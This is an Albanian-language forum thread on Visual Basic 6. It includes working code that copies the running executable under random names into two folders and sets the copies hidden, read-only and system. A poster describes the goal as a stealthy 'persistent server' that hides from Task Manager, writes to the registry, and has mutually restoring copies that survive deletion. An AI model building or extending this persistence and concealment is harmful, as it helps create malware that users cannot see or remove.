E ndryshova kodin që shkruajta më lart që të bëjë atë që do ti.
Që të punojë kodi, supozojmë që programi që po bën run tani quhet hh.exe dhe ndodhet në C:\
Ky program do bëjë kopje të vetes së tij tek dosjet C:\dosje_e_fshehte\ dhe C:\dosje_tjeter_e_fshehte\. Emrat e kopjeve do zgjidhen rastësisht nga kompjuteri me kodin që kishe shkruajtur ti.
E provova dhe punon si duhet. Ty të ngelet të ndryshosh vetëm adresat e dosjeve sipas atyre që po përdor.
Kodi:
Private Sub Form_Load()
Dim txtEmri As String
Dim emrirandomperskedarin As String
Dim emrirandomperskedarin2 As String
Dim gjat As Integer
Dim g As Integer
Dim kap As Integer
gjat = 7
g = 0
txtEmri = ""
Do
g = g + 1
Randomize
kap = CInt(Rnd * 25) + 97
txtEmri = txtEmri & Chr(kap)
Loop Until g = Val(gjat)
emrirandomperskedarin = txtEmri & ".exe"
gjat = 7
g = 0
txtEmri = ""
Do
g = g + 1
Randomize
kap = CInt(Rnd * 25) + 97
txtEmri = txtEmri & Chr(kap)
Loop Until g = Val(gjat)
emrirandomperskedarin2 = txtEmri & ".exe"
FileCopy "C:\hh.exe", "C:\dosje_e_fshehte\" & emrirandomperskedarin
FileCopy "C:\hh.exe", "C:\dosje_tjeter_e_fshehte\" & emrirandomperskedarin2
SetAttr "C:\dosje_e_fshehte\" & emrirandomperskedarin, vbHidden Or vbReadOnly Or vbSystem
SetAttr "C:\dosje_tjeter_e_fshehte\" & emrirandomperskedarin2, vbHidden Or vbReadOnly Or vbSystem
End Sub
VB - Si të kopjoj një skedar; si të vendos vbAttribute
. Ne fakt do te ishte si nje tip serveri i vogel "persistent". Fillimisht do fshihej sa te mundej nga proccess listi i XP (me emer tjeter) komplet nga PL i 9X apo Me, do te fshihej nga TSKMNGR, do te shkruant te dhena ne REG te pakten ne 2 vende dhe pjesa kryesore : do te kopjonte veten e tij ne dy vende ne sistem. Keto dy skedare te tjere do te kontrollonin ekzistencen e njeri tjerit dhe REG dhe ne rast fshirje do te benin menjehere restore. Nejse u zgjata shume me kete se ne fakt problemi im qendron tek Emertimi random, por desha te jap vetem nje ide.
Përgjigju Duke Cituar
Krijoni Kontakt